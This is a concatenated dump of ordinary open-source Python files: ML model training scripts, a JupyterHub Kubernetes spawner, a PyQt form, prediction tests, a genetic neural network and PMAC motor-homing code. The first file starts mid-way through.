print(\"%0.3f (+/-%0.03f) for %r\"\n % (mean, std * 2, params))\n\n print()\n\n best_model = clf.best_estimator_\n test_pred = best_model.predict(test_data)\n\n train_pred_proba = best_model.predict_proba(train_data)\n train_pred_proba = np.array([x[1] for x in train_pred_proba])\n test_pred_proba = best_model.predict_proba(test_data)\n test_pred_proba = np.array([x[1] for x in test_pred_proba])\n\n print('\\n训练集误差结果:\\n')\n train_error_results = get_proba_error(train_label,train_pred_proba,['MSE','RMSE','MAE','SMAPE','R2'])\n print('\\n测试集���差结果:\\n')\n test_error_results = get_proba_error(test_label,test_pred_proba,['MSE','RMSE','MAE','SMAPE','R2'])\n\n print('\\n训练集不同指标结果:\\n')\n train_metric_results = get_proba_metric(train_label,train_pred_proba,imp_metric=imp_metric)\n print('\\n测试集不同指标结果:\\n')\n test_metric_results = get_proba_metric(test_label,test_pred_proba,imp_metric=imp_metric)\n\n local_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime())\n\n tab1 = PrettyTable(['','MSE','RMSE','MAE','SMAPE','R2'])\n tab1.add_row(['train dataset',train_error_results['MSE'],train_error_results['RMSE'],train_error_results['MAE'],\n train_error_results['SMAPE'],train_error_results['R2']])\n tab1.add_row(['test_dataset',test_error_results['MSE'],test_error_results['RMSE'],test_error_results['MAE'],\n test_error_results['SMAPE'],test_error_results['R2']])\n tab2 = PrettyTable(['dataset(threshold)','accuracy','roc_auc','precision','recall','f1_score'])\n new_list = ['train dataset('+\"{0:.2f}\".format(train_metric_results[0])+')']\n new_list.extend(train_metric_results[1])\n tab2.add_row(new_list)\n new_list = ['test dataset(' + \"{0:.2f}\".format(test_metric_results[0]) + ')']\n new_list.extend(test_metric_results[1])\n tab2.add_row(new_list)\n new_list = ['test dataset(0.5)']\n new_list.extend([accuracy_score(test_label,test_pred),roc_auc_score(test_label,test_pred),\n precision_score(test_label,test_pred),recall_score(test_label,test_pred),\n f1_score(test_label,test_pred)])\n tab2.add_row(new_list)\n\n ################################################################################3\n with open(work_dir+'/svm_result.csv', 'a', encoding='utf-8')as f:\n f.write('time: ' + local_time + '\\n')\n tmp_index = split_balanced_data_dir.find('repo')\n f.write(split_balanced_data_dir[tmp_index:tmp_index + 7] + ',' +\n str(period_length) + ',' + str(overlap_ratio) + ',' + str(scoring) + ',\\n')\n f.write(str(tab1)+'\\n')\n f.write('用于确定最优阈值的指标为:'+imp_metric+'\\n')\n f.write(str(tab2)+'\\n')\n f.write('\\n')\n #################################################################################\n with open(work_dir+'/model_params/svm_params.txt','w',encoding='utf-8')as f:\n f.write('time:' + local_time + '\\n')\n for key in best_params_dict[scoring].keys():\n f.write(str(key)+':'+str(best_params_dict[scoring][key])+'\\n')\n\n if if_save:\n s = 'Y'\n else:\n s = input('Do you want to save this model?[Y/n]')\n if s == 'Y' or s == 'y' or s == '':\n shutil.rmtree(save_dir)\n os.mkdir(save_dir)\n model_filename = time.strftime('%Y-%m-%d_%H-%M-%S', time.localtime()) + 'svm_best_model_'+score+\\\n '-'+str(period_length)+'-'+str(overlap_ratio)+'.joblib'\n dump(best_model, save_dir + '/' + model_filename)\n\n return best_params_dict\n\n\n# 训练SVM模型的统一接口,可以选择grid_search调参或直接训练\ndef train_svm(train_data_dir,repo_id,period_length=120,overlap_ratio=0.0,data_type_count=12,scoring='roc_auc',\n grid_search_control=False,model_params_dir='model_params',prediction_work_dir='.',\n save_dir='svm_models',if_save=True,imp_metric='roc_auc'):\n split_balanced_data_dir = train_data_dir+'/repo_'+str(repo_id)+'/split_balanced_data'\n if grid_search_control:\n gridSearchForSVM(split_balanced_data_dir,period_length,overlap_ratio,data_type_count,scoring,\n prediction_work_dir,save_dir,if_save,imp_metric)\n else:\n model_params_file = model_params_dir + '/svm_params.txt'\n params_dict=dict()\n with open(model_params_file,'r',encoding='utf-8')as f:\n f.readline()\n for line in f.readlines():\n params_dict[line.split(':')[0]]=line.strip('\\n').split(':')[1]\n kernel = params_dict['kernel']\n C = float(params_dict['C'])\n if kernel == 'linear':\n trainSVM(split_balanced_data_dir, period_length, overlap_ratio, data_type_count, kernel, C,\n save_dir=save_dir,if_save=if_save,imp_metric=imp_metric)\n elif kernel == 'rbf':\n gamma = float(params_dict['gamma'])\n trainSVM(split_balanced_data_dir, period_length, overlap_ratio, data_type_count, kernel, C, gamma,\n save_dir=save_dir, if_save=if_save,imp_metric=imp_metric)\n else:\n degree = int(params_dict['degree'])\n trainSVM(split_balanced_data_dir, period_length, overlap_ratio, data_type_count, kernel, C,\n degree=degree, save_dir=save_dir, if_save=if_save,imp_metric=imp_metric)\n\n\nif __name__ == '__main__':\n split_balanced_data_dir = r'F:\\MOOSE_cxy\\developer_churn_prediction\\churn_prediction\\data_preprocess\\data\\repo_2\\part_all\\balanced_data'\n period_length = 120\n overlap_ratio = 0.0\n data_type_count = 12\n # gridSearchForSVM(split_balanced_data_dir,period_length,overlap_ratio,data_type_count)\n # trainSVM(split_balanced_data_dir,period_length,overlap_ratio,data_type_count)\n # train_svm('../data_preprocess/train_data',8649239,120,0.0,9,grid_search_control=False)\n","repo_name":"XYChang-cxy/churn_prediction_models","sub_path":"prediction_models/train_svm.py","file_name":"train_svm.py","file_ext":"py","file_size_in_byte":13117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"4869099234","text":"# -*- coding: utf-8 -*-\n\nfrom python.decisiontreeclassifier import DecisionTreeClassifier\n\nif __name__ == \"__main__\":\n lense_labels = ['age', 'prescript', 'astigmatic', 'tearRate']\n X = []\n Y = []\n with open('lenses.txt', 'r') as f:\n for line in f:\n comps = line.strip().split('\\t')\n X.append(comps[: -1])\n Y.append(comps[-1])\n print(\"decision tree\")\n clf = DecisionTreeClassifier()\n clf.create_tree(X, Y, lense_labels)\n print(clf.tree);\n\n # 使用构建好的决策树进行分类\n # 递归查找树\n clf.classify()\n","repo_name":"j0jo00/findpoint","sub_path":"python/decisiontree.py","file_name":"decisiontree.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"41334989312","text":"import hashlib\nimport os\nimport re\nimport string\nimport subprocess\n\nimport escapism\nfrom kubespawner import KubeSpawner\nfrom traitlets import default, Bool, Dict, Unicode\n\n\nfrom .utils import Artifact\n\n\nclass ChameleonSpawner(KubeSpawner):\n _default_name_template = \"jupyter-{username}\"\n _named_name_template = \"jupyter-{username}-exp-{servername}\"\n\n @default(\"pod_name_template\")\n def _pod_name_template(self):\n if self.name:\n return self._named_name_template\n else:\n return self._default_name_template\n\n def _get_unix_user(self):\n name = self.user.name.lower()\n # Escape bad characters (just make them unix_safe)\n name = re.sub(r\"[^a-z0-9_-]\", \"_\", name)\n # Ensure we start with an proper character\n if not re.search(r\"^[a-z_]\", name):\n name = \"_\" + name\n # Usernames may only be 32 characters\n return name[:32]\n\n def get_env(self):\n env = super().get_env()\n\n extra_env = {}\n # Rename notebook user (jovyan) to Chameleon username\n extra_env[\"NB_USER\"] = self._get_unix_user()\n if self.name:\n # Experiment (named) servers will need new keypairs generated;\n # name them after the artifact hash.\n extra_env[\"OS_KEYPAIR_NAME\"] = f\"trovi-{self.name}\"\n\n # Add parameters for experiment import\n artifact = self.get_artifact()\n if artifact:\n extra_env[\"ARTIFACT_UUID\"] = artifact.uuid\n extra_env[\"ARTIFACT_VERSION_SLUG\"] = artifact.version_slug\n extra_env[\"ARTIFACT_CONTENTS_URL\"] = artifact.contents_url\n extra_env[\"ARTIFACT_CONTENTS_PROTO\"] = artifact.contents_proto\n extra_env[\"ARTIFACT_CONTENTS_URN\"] = artifact.contents_urn\n extra_env[\"ARTIFACT_CONTENTS_ID\"] = artifact.contents_id\n extra_env[\"ARTIFACT_CONTENTS_BACKEND\"] = artifact.contents_backend\n extra_env[\"ARTIFACT_OWNERSHIP\"] = artifact.ownership\n extra_env[\"ARTIFACT_DIR_NAME_FILE\"] = \"/tmp/experiment_dir\"\n self.log.info(\n f\"User {self.user.name} importing from \"\n f\"{artifact.contents_backend}: {artifact.contents_url}\"\n )\n\n env.update(extra_env)\n\n return env\n\n def get_artifact(self) -> Artifact:\n if self.handler:\n return Artifact.from_query(self.handler.request.query)\n else:\n return None\n\n def pre_spawn_hook(self, spawner):\n # NOTE self and spawner are the same object due to how the parent class\n # calls this, so you could define this in another module.\n\n # The length of some kubernetes objects is limited to 63 chars\n KUBERNETES_LENGTH_LIMIT = 63\n PREFIX_NAME_LENGTH = 10 # Buffer for other prefixes (e.g. \"volume-\")\n SERVER_NAME_LENGTH = 6 # How long named trovi servers are\n HASH_LENGTH = 12\n\n short_username_length = KUBERNETES_LENGTH_LIMIT - \\\n PREFIX_NAME_LENGTH - SERVER_NAME_LENGTH - HASH_LENGTH\n\n # the username the spawner will use. This comes from the kubespawner\n # code, but it isn't exposed as a function there, so we copy it.\n safe_chars = set(string.ascii_lowercase + string.digits)\n safe_username = escapism.escape(\n self.user.name, safe=safe_chars, escape_char='-'\n ).lower()\n short_username = safe_username[:short_username_length] + \\\n hashlib.sha1(\n safe_username.encode(\"utf-8\")).hexdigest()[:HASH_LENGTH]\n\n def check_template(template):\n if len(template.format(\n username=safe_username, servername=self.name)\n ) > KUBERNETES_LENGTH_LIMIT:\n # Let kubespawner format servername later, with short username\n return template.format(\n username=short_username, servername='{servername}')\n # Let kubespawner format the template later\n return template\n\n # Reformat the pod_name and volume templates using username\n # as these are subject to the short name limit\n self.pod_name = check_template(self.pod_name)\n for v in self.volumes:\n if '{username}' in v.get(\"name\"):\n v[\"name\"] = check_template(v.get(\"name\"))\n for v in self.volume_mounts:\n if '{username}' in v.get(\"name\"):\n v[\"name\"] = check_template(v.get(\"name\"))\n","repo_name":"ChameleonCloud/jupyterhub-chameleon","sub_path":"jupyterhub_chameleon/spawner.py","file_name":"spawner.py","file_ext":"py","file_size_in_byte":4468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"40002885168","text":"from PyQt5.QtWidgets import QWidget\nfrom PyQt5.uic import loadUi\nfrom models.Bibliotecario import Bibliotecario\nfrom views.ConfirmWindow import ConfirmWindow\n\n\nclass CadastrarBibliotecarioWindow(QWidget):\n\n def __init__(self, parent=None):\n super(QWidget, self).__init__(parent)\n loadUi('./ui/addbibliotecario.ui', self)\n # janelas extras\n self.confirm_window = None\n\n # eventos\n self.botao_cadastrar.clicked.connect(self.cadastrar_bibliotecario)\n self.botao_voltar.clicked.connect(self.close)\n\n def cadastrar_bibliotecario(self):\n\n dados = {\n \"nome\": self.linha_nome.text(),\n \"idade\": self.spin_idade.value(),\n \"cpf\": self.linha_cpf.text(),\n \"usuario\": self.linha_usuario.text(),\n \"senha\": self.linha_senha.text()\n }\n\n bib_inserir = Bibliotecario(dados[\"usuario\"], dados[\"senha\"], dados[\"nome\"], dados[\"idade\"], dados[\"cpf\"])\n inseriu = bib_inserir.insere_bibliotecario()\n\n print(\"Inseriu\")\n self.linha_nome.clear()\n self.spin_idade.setValue(18)\n self.linha_cpf.clear()\n self.linha_usuario.clear()\n self.linha_senha.clear()\n\n print(\"limpou campos\")\n if inseriu:\n self.confirm_window = ConfirmWindow()\n self.confirm_window.show()\n else:\n self.confirm_window = ConfirmWindow()\n self.confirm_window.label.setText(\"Erro!, Cadastro não efetuado.\")\n self.confirm_window.show()\n\n\n\n\n\n\n","repo_name":"thiagoarmede/PySisBib","sub_path":"views/CadastrarBibliotecarioWindow.py","file_name":"CadastrarBibliotecarioWindow.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"1"}
+{"seq_id":"25759588204","text":"import math\n\nfrom classification.predict import make_prediction\nfrom classification.processing.data_management import load_data\n\ndef test_make_prediction(): \n\n test_data = load_data(file_name= 'test.csv')\n single_test_json = test_data[0:10]\n\n subject = make_prediction(filename= single_test_json)\n\n assert subject is not None\n assert subject.get('prediction')[0] == 1\n assert len(set(subject.get('prediction'))) == 2\n\ndef test_make_multiple_predictions():\n \n test_data = load_data(file_name='test.csv')\n original_data_lenght = len(test_data)\n multiple_test_json = test_data\n\n subject = make_prediction(filename= multiple_test_json)\n\n \n\n assert subject is not None \n assert len(subject.get('prediction'))==106171\n assert len(subject.get('prediction')) == original_data_lenght","repo_name":"mikosa01/smoking-status","sub_path":"package/classification/tests/test_predict.py","file_name":"test_predict.py","file_ext":"py","file_size_in_byte":819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"31135910975","text":"import argparse\nimport sys\nimport os\n\nfrom src.conf import conf\nfrom src.learn.base import annotate\nfrom src.learn.target_encoding import Q3_MAPPING, TYPE_MAPPING\nfrom src.util import get_id\n\nPARSER_DESCRIPTION = (\"Annotates PDB file with secondary structure elements \"\n \"and prints final annotation to PDBID_predicted files \"\n \"The Annotation includes Helix Positions (H), Strand \"\n \"Positions (E) and Sheets together with their \"\n \"orientation.\")\n\ndef strand_annotate(pos, sheets):\n \"\"\"\n Annotates position of residue in a Structure with the\n corresponding sheet, if any, and also returns the\n orientation.\n\n :param pos: Position of residue in AA sequence.\n :param sheets: List of sheets. Each sheet is a list of encompasses\n strands. Each strand is a 3-tuple (start, end, orientation), where start\n designates the starting position of the strand, end denotes the end\n position of the strand and orientation the orientation of the strand\n with respect to the previous strand.\n :return: (sheet_id, orientation), if pos is part of a sheet, else ' ' ' '.\n \"\"\"\n for (sheet_id, sheet) in enumerate(sheets):\n for strand in sheet:\n\n # if the position lies in the strand interval\n if strand[0] <= pos <= strand[1]:\n\n return sheet_id, strand[2]\n\n return ' ', ' '\n\n\ndef main(argv):\n\n # configure command-line parser for the annotation main\n parser = argparse.ArgumentParser(description=PARSER_DESCRIPTION)\n\n # Path of the PDB file that should be annotated\n parser.add_argument('PDB', type=str, help=\"PDB file to be annotated.\")\n\n # In which directory the output file should be written to\n parser.add_argument('-o', type=str,\n help=\"Where the output files should go to.\",\n default='out')\n\n # parse command-line arguments\n args = parser.parse_args(argv[1:])\n\n # check whether PDB file actually exists. If not, then we must exit\n if not os.path.isfile(args.PDB):\n sys.stderr.write('No PDB file: ' + args.PDB)\n sys.exit(1)\n\n # create output directory, if it does not yet exist\n if not os.path.exists(args.o):\n os.makedirs(args.o)\n\n # sets the working directory in the central configuration to\n # the directory where the script was executed\n conf.set_dir('.')\n\n # load\n conf.load_predictors()\n\n # get PDBID\n pdbid = get_id(args.PDB)\n\n # annotate given PDB file\n (true_expand, pred_expand, true_sheets, pred_sheets) = annotate(args.PDB)\n\n with open(args.o + os.path.sep + pdbid + '_predicted', 'w') as f:\n\n for (pos, cls) in pred_expand.items():\n\n sheet_id, orient = strand_annotate(pos, pred_sheets)\n\n f.write('\\t'.join(map(str, [pos,cls,Q3_MAPPING[cls],\n TYPE_MAPPING[cls], sheet_id, orient]))\n + os.linesep)\n\n with open(args.o + os.path.sep + pdbid + '_true', 'w') as f:\n for (pos, cls) in true_expand.items():\n\n sheet_id, orient = strand_annotate(pos, true_sheets)\n\n f.write('\\t'.join(map(str, [pos,cls,Q3_MAPPING[cls],\n TYPE_MAPPING[cls],sheet_id,orient]))\n + os.linesep)\n\nif __name__ == '__main__':\n main(sys.argv)\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"sven1103/bioinfo2-project","sub_path":"annotate.py","file_name":"annotate.py","file_ext":"py","file_size_in_byte":3401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"14794693419","text":"import numpy as np\nimport math\nimport random \n\nMUTATION_WEIGHT_MODIFY_CHANCE = 0.35\nMUTATION_ARRAY_MIX_PERC = 0.5\n\nclass Nnet:\n\tdef __init__(self, num_input, num_hidden, num_output):\n\t\tself.num_input = num_input\n\t\tself.num_hidden = num_hidden\n\t\tself.num_output = num_output\n\n\t\t# for printing\n\t\tself.hidden_inputs=None\n\t\tself.hidden_outputs=None\n\t\tself.final_inputs=None\n\t\tself.final_outputs=None\n\t\t# randomly selecting input -> hidden weights \n\t\t# the size is num_hidden, num_input, meaning that it will output a matrix\n\t\t# of num_hidden lists inside, and num_input numbers within each list \n\t\tself.weight_input_hidden = np.random.uniform(-0.5, 0.5, size=(self.num_hidden, self.num_input))\t\t\n\n\t\t# randomly selecting hidden -> output weights\n\t\t# same as input, although this time it has num_output lists inside, with num_hidden values\n\t\t# in each list\n\t\tself.weight_hidden_output = np.random.uniform(-0.5, 0.5, size=(self.num_output, self.num_hidden))\n\n\t\t# choosing activation function (to limit output to 0.00 to 1)\n\t\t# self.activation_function = lambda x: scipy.special.expit(x) # sigmoid \n\t\t# manually written sigmoid, to avoid scipy import\n\t\tself.activation_function = lambda x: 1/(1+np.exp(-x))\n\n\tdef get_outputs(self, inputs_list):\n\t\t# getting list of inputs, and converting it into a 2 dimensional numpy array, [[i1],[i2],[i3]].\n\t\t# we then transpose it to turn it into a column vector\n\t\tinputs = np.array(inputs_list, ndmin=2).T\n\t\t\n\t\t# getting hidden values by mutliplying the weights matrix and the inputs together\n\t\t# in the first cycle, the weights are given my np.random.normal()\n\t\t# \n\t\t# because it is a NxM matrix multiplied by a 1xM column vector,\n\t\t# hidden_inputs is itself a column vector, [[x1],[x2],[x3]].T \n\t\thidden_inputs = np.dot(self.weight_input_hidden, inputs)\n\t\tself.hidden_inputs = hidden_inputs\n\t\t# activation function just applies the sigmoid function to each value in the\n\t\t# column vector, meaning that hidden_outputs is still a column vector,\n\t\t# but now each value is between 0 and 1\n\t\thidden_outputs = self.activation_function(hidden_inputs)\n\t\tself.hidden_outputs = hidden_outputs\n\t\t# final_inputs is again a column vector, because weight_hidden_output\n\t\t# is a (num_output, num_hidden) matrix, being multiplied by hidden_outputs,\n\t\t# which we said earlier is a column vector\n\t\tfinal_inputs = np.dot(self.weight_hidden_output, hidden_outputs)\n\t\tself.final_inputs = final_inputs\n\t\t# final_outputs is then finally a column vector, representing \n\t\t# each output neurons activation\n\t\tfinal_outputs = self.activation_function(final_inputs)\n\t\tself.final_outputs = final_outputs\n\n\t\t# print('final outputs',final_outputs)\n\n\t\treturn final_outputs\n\n\tdef get_max_value(self, inputs_list):\n\t\t# gives a list, then outputs a list (in the form of a column vector)\n\t\toutputs=self.get_outputs(inputs_list)\n\t\treturn outputs\n\n\tdef modify_weights(self):\n\t\tNnet.modify_array(self.weight_input_hidden)\n\t\tNnet.modify_array(self.weight_hidden_output)\t\n\t\t\n\tdef create_mixed_weights(self, net1, net2): # this function actually \"breeds\" the arrays\n\t\tself.weight_input_hidden = Nnet.get_mix_from_arrays(net1.weight_input_hidden, net2.weight_input_hidden)\n\t\tself.weight_hidden_output = Nnet.get_mix_from_arrays(net1.weight_hidden_output, net2.weight_hidden_output)\n\n\tdef modify_array(a): # this function mutates our array\n\t\t# np.nditer is a special multi-dimensional efficient indexer\n\t\t# basically just indexing through a list\n\t\t#\n\t\t# so for each value in the array passed to it, \n\t\t# it will call a random number between 0 and 1, and if it is less\n\t\t# than the mutation weight chance, change the current index's value (i[...]) into\n\t\t# a random number between 0 and 1,\n\t\t# minus 0.5 as we want our weights to be between -0.5 and 0.5\n\t\tfor i in np.nditer(a, op_flags=['readwrite']):\n\t\t\tif random.random() < MUTATION_WEIGHT_MODIFY_CHANCE:\n\t\t\t\ti[...] = np.random.random_sample() - 0.5\n\n\tdef get_mix_from_arrays(ar1, ar2): # this function creates the breeding framework\n\t\t# ar1 and ar2 are two neural networks' weight_input_hidden values\n\t\t# or weight_hidden_output values\n\t\t# these are both matrices\n\n\t\t# array.size gives number of values in the array\n\t\ttotal_entries = ar1.size\n\t\t# .shape outputs (cols, rows), so indexing 0 and 1 gets us those\n\t\tnum_rows = ar1.shape[0]\n\t\tnum_cols = ar1.shape[1]\n\n\t\t# if total entries are 100, we then do 100 - (100*mix percent), so that\n\t\t# if mix percent is only 0.05, only 5 of the total entires will be mixed\n\t\tnum_to_take = total_entries - int(total_entries * MUTATION_ARRAY_MIX_PERC)\n\t\t\n\t\t# idx represents index\n\t\t# np.arrange(num) is the same as range(num), but outputs an array\n\t\t# [0,1,2,...,num]\n\t\t#\n\t\t# np.random.choice() then takes that range array, and randomly selects \n\t\t# num_to_take numbers from the range\n\t\t# those selected random numbers will now be the index values in the next step\n\t\tidx = np.random.choice(np.arange(total_entries), num_to_take, replace=False)\n\n\t\t# res is a (num_rows,num_cols) matrix filled with random values between 0 and 1\n\t\t# this will act as the mixed array of ar1 and ar2\n\t\tres = np.random.rand(num_rows, num_cols)\n\n\t\t# for row: for col: is a common way of indexing through every value in a multi-dimensional array\n\t\t# (row * num_cols) + col is a formula for getting which number you are on in the \n\t\t# matrix, so printing all of them would look like [1,2,3,4,5...matrix.size]\n\t\tfor row in range(0, num_rows):\n\t\t\tfor col in range(0, num_cols):\n\t\t\t\tindex= (row * num_cols) + col\n\t\t\t\t# if the current index is in idx, the randomly selected index's,\n\t\t\t\t# make res's index equal to ar1's index\n\t\t\t\t# otherwise, make it equal to ar2's index\n\t\t\t\tif index in idx:\n\t\t\t\t\tres[row][col] = ar1[row][col]\n\t\t\t\telse:\n\t\t\t\t\tres[row][col] = ar2[row][col]\n\n\t\t# res is now a matrix that represents a mixture of ar1 and ar2\n\t\t# \n\t\t# mutation_array_mix_perc represents how much of a mix it actually is,\n\t\t# it represents what percent of res is made up of ar1\n\t\t# and 1-mutation_array_mix_perc represents the percent of res that is\n\t\t# made up of ar2\n\t\treturn res\n\n\tdef printStuff(self):\n\t\tprint('These are the weight values from input to hidden:', self.weight_input_hidden)\n\t\tprint('\\n')\n\t\tprint('\\n')\n\t\tprint('These are the weight values from hidden to output:', self.weight_hidden_output)\n\t\tprint('\\n')\n\t\tprint('\\n')\n\n\n#various tests\nif __name__=='__main__':\n\tdef test():\n\t\tnnet = Nnet(4, 5, 4)\n\t\tinputs = [0.1, 0.3, 0.2, 0.3]\n\t\toutput = nnet.get_max_value(inputs)\n\t\tprint(output)\n\n\n\t# def tests():\n\t# \tar1 = np.random.uniform(-0.5, 0.5, size=(3, 4))\n\t# \tar2 = np.random.uniform(-0.5, 0.5, size=(3, 4))\n\t# \t# print('ar1.size', ar1.size, sep='\\n')\n\t# \t# print('ar1', ar1, sep='\\n')\n\n\t# \t# print('ar1', ar1, sep='\\n')\n\n\t# \tprint('')\n\n\t# \t# print('ar1', ar1, sep='\\n')\n\t# \t# print('ar2', ar2, sep='\\n')\n\t# \tprint(ar1)\n\t# \tNnet.get_outputs()\n\t# \tmixed = Nnet.get_mix_from_arrays(ar1, ar2)\n\t# \t# print('mixed', mixed, sep='\\n')\n\n\t# tests() \n","repo_name":"DanielMilesGH/genetic-alg-cars","sub_path":"nnet.py","file_name":"nnet.py","file_ext":"py","file_size_in_byte":6901,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"11391289377","text":"import sys\nsys.path.append('..')\n\nfrom Acquisition import Acquisition\nimport threading\n\n# Sample Frequency list\nl_fs = [1, 2, 5, 10, 20, 50, 100, 200, 500, 1000, 2000] \nrunning_time_per_test = 10\n\nprint('Target Sampling Rate & Number of samples & Elapsed Time & Avg Sampling Period & Avg Sampling Rate & Error')\nfor fs in l_fs:\n # Creates an Acquisition for each sampling rate\n n_count = fs * running_time_per_test\n a = Acquisition(fs, 0, n_count)\n\n a.start()\n a.join()\n\n elapsed_time = a.get_elapsed_time()\n avg_sampling_period = elapsed_time / n_count\n avg_sampling_rate = 1 / avg_sampling_period\n error = ( avg_sampling_rate - fs) / fs * 100\n print(str(fs) + ' & ' +\n str(n_count) + ' & ' +\n '{:.6f}'.format(elapsed_time) + ' & ' +\n '{:.6f}'.format(avg_sampling_period) + ' & ' +\n '{:.6f}'.format(avg_sampling_rate) + ' & ' +\n '{:.2f}'.format(error) + ' \\\\\\\\')\n","repo_name":"noeldiazro/pfc","sub_path":"rpi/test/test_sample_const.py","file_name":"test_sample_const.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"8545796522","text":"from typing import Dict\n\nfrom pmac_motorhome.constants import PostHomeMove\n\n\nclass Motor:\n \"\"\"\n Declares a motor for use in homing routines in the enclosing Group, Plc\n\n Should always be instantiated using `pmac_motorhome.commands.motor`\n \"\"\"\n\n instances: Dict[int, \"Motor\"] = {}\n\n # offsets into the PLC's PVariables for storing the state of axes\n # these names go into long format strings so keep them short for legibility\n PVARS = {\n \"hi_lim\": 4,\n \"lo_lim\": 20,\n \"homed\": 36,\n \"not_homed\": 52,\n \"lim_flags\": 68,\n \"pos\": 84,\n }\n\n def __init__(\n self,\n axis: int,\n jdist: int,\n plc_num: int,\n post_home: PostHomeMove = PostHomeMove.none,\n post_distance: int = 0,\n index: int = -1,\n ms: int = -1\n ) -> None:\n \"\"\"\n Args:\n axis (int): Axis number of the motor\n jdist (int): Distance in counts to jog after finding the home mark\n this should be enough distance to move clear of the home mark\n plc_num (int): the plc number of the enclosing Plc\n post_home (PostHomeMove): the action to perform on this motor when\n homing is complete\n post_distance (int): A distance to use in post_home\n index (int): for internal use in conversion of old scripts sets\n the index of this motor to a different value than the order of\n declaration.\n ms (int): macrostation number\n \"\"\"\n self.axis = axis\n self.jdist = jdist\n if index == -1:\n self.index = len(self.instances)\n else:\n self.index = index\n\n self.instances[axis] = self\n self.post_home = post_home\n self.post_distance = post_distance\n self.ms = ms\n\n # dict is for terse string formatting code in _all_axes() functions\n self.dict = {\n \"axis\": axis,\n \"index\": self.index,\n \"jdist\": jdist,\n \"homed_flag\": f\"7{self.nx}2\",\n \"pb_homed_flag\": f\"Gate3[{self.gate}].Chan[{self.chan}].CaptCtrl\",\n \"inverse_flag\": f\"7{self.nx}3\",\n \"pb_inverse_flag\": f\"Gate3[{self.gate}].Chan[{self.chan}].CaptFlagSel\",\n \"macro_station\": self.macro_station,\n \"post_distance\": self.post_home_distance,\n \"macro_station_brick\": self.macro_station_brick_str,\n }\n for name, start in self.PVARS.items():\n self.dict[name] = plc_num * 100 + start + self.index\n\n @classmethod\n def get_motor(\n cls,\n axis: int,\n jdist: int,\n plc_num: int,\n post_home: PostHomeMove = PostHomeMove.none,\n post_distance: int = 0,\n index: int = -1,\n ms: int = -1,\n ) -> \"Motor\":\n \"\"\"\n A factory function to return a Motor object but ensure that there\n is only ever one instance of each axis number. This is required since\n PLC code allocates p variables on a per axis basis.\n \"\"\"\n motor = cls.instances.get(axis)\n if motor is None:\n motor = Motor(axis, jdist, plc_num, post_home, post_distance, index, ms)\n\n return motor\n\n # TODO IMPORTANT - this is used in finding the Home capture flags etc. and is\n # specific to Geobrick - For a full implementation see Motor class in\n # ... pmacutil/pmacUtilApp/src/motorhome.py\n # HINT: watch out for python 2 vs python 3 handling of integer arithmetic\n @property\n def nx(self) -> str:\n nx = int(int((self.axis - 1) / 4) * 10 + int((self.axis - 1) % 4 + 1))\n return \"{:02}\".format(nx)\n\n # Determine the gate number if power pmac\n @property\n def gate(self) -> str:\n return str(int((self.axis - 1) / 4))\n\n # Determine the channel number of the above gate\n @property\n def chan(self) -> str:\n return str(int((self.axis - 1) % 4))\n\n @property\n def homed(self):\n return self.dict[\"homed\"]\n\n @property\n def not_homed(self):\n return self.dict[\"not_homed\"]\n\n @property\n def macro_station(self) -> str:\n \"\"\"\n Calculate macro and generate a command string for this motor \n Pmac specific command string\n\n Returns:\n str: pmac specific ms command string \n \"\"\"\n # this calculations are only correct for a pmac\n if self.ms != -1:\n return \"{}\".format(self.ms)\n msr = int(4 * int(int(self.axis - 1) / 2) + int(self.axis - 1) % 2)\n return \"{}\".format(msr)\n\n @property\n def macro_station_brick_str(self) -> str:\n \"\"\"\n Generate a command string for this motor \n Brick specific command string\n\n Returns:\n str: brick specific ms command string\n \"\"\"\n if self.macro_station_brick() == -1:\n return \"\"\n return \"{}\".format(self.macro_station_brick() )\n\n def macro_station_brick(self) -> int:\n \"\"\"\n Return or calculate macro station number.\n Brick specific calculation\n\n Returns:\n int: brick specific macro station number\n \"\"\"\n\n if self.ms != -1:\n return self.ms\n if self.axis > 8:\n return int(4 * int(int(self.axis - 9) / 2) + int(self.axis - 9) % 2)\n return -1\n\n @property\n def post_home_distance(self) -> str:\n \"\"\"\n Generate a post distance string\n\n Returns:\n str: post distance string, \"*\" if post distance is 0\n \"\"\"\n if self.post_distance == 0:\n return \"*\"\n return str(int(self.post_distance))\n\n @property\n def post_home_with_distance(self) -> str:\n \"\"\"\n Generate one string which contains the post home move with distance (if applicable) for this motor.\n\n Returns:\n str: one string describing the post home move for this motor.\n \"\"\"\n if self.post_distance == 0:\n return self.post_home.value\n elif self.post_home in (PostHomeMove.none, PostHomeMove.move_absolute):\n return str(self.post_distance)\n return self.post_home.value + str(self.post_distance)\n\n def has_macro_station_brick(self) -> bool:\n \"\"\"\"\n Check if the motor has macro station defined (brick only)\n\n Returns:\n bool: true if macro station defined for the motor\n \"\"\"\n if self.macro_station_brick() != -1:\n return True\n return False\n\n","repo_name":"dls-controls/pmac_motorhome","sub_path":"pmac_motorhome/motor.py","file_name":"motor.py","file_ext":"py","file_size_in_byte":6514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
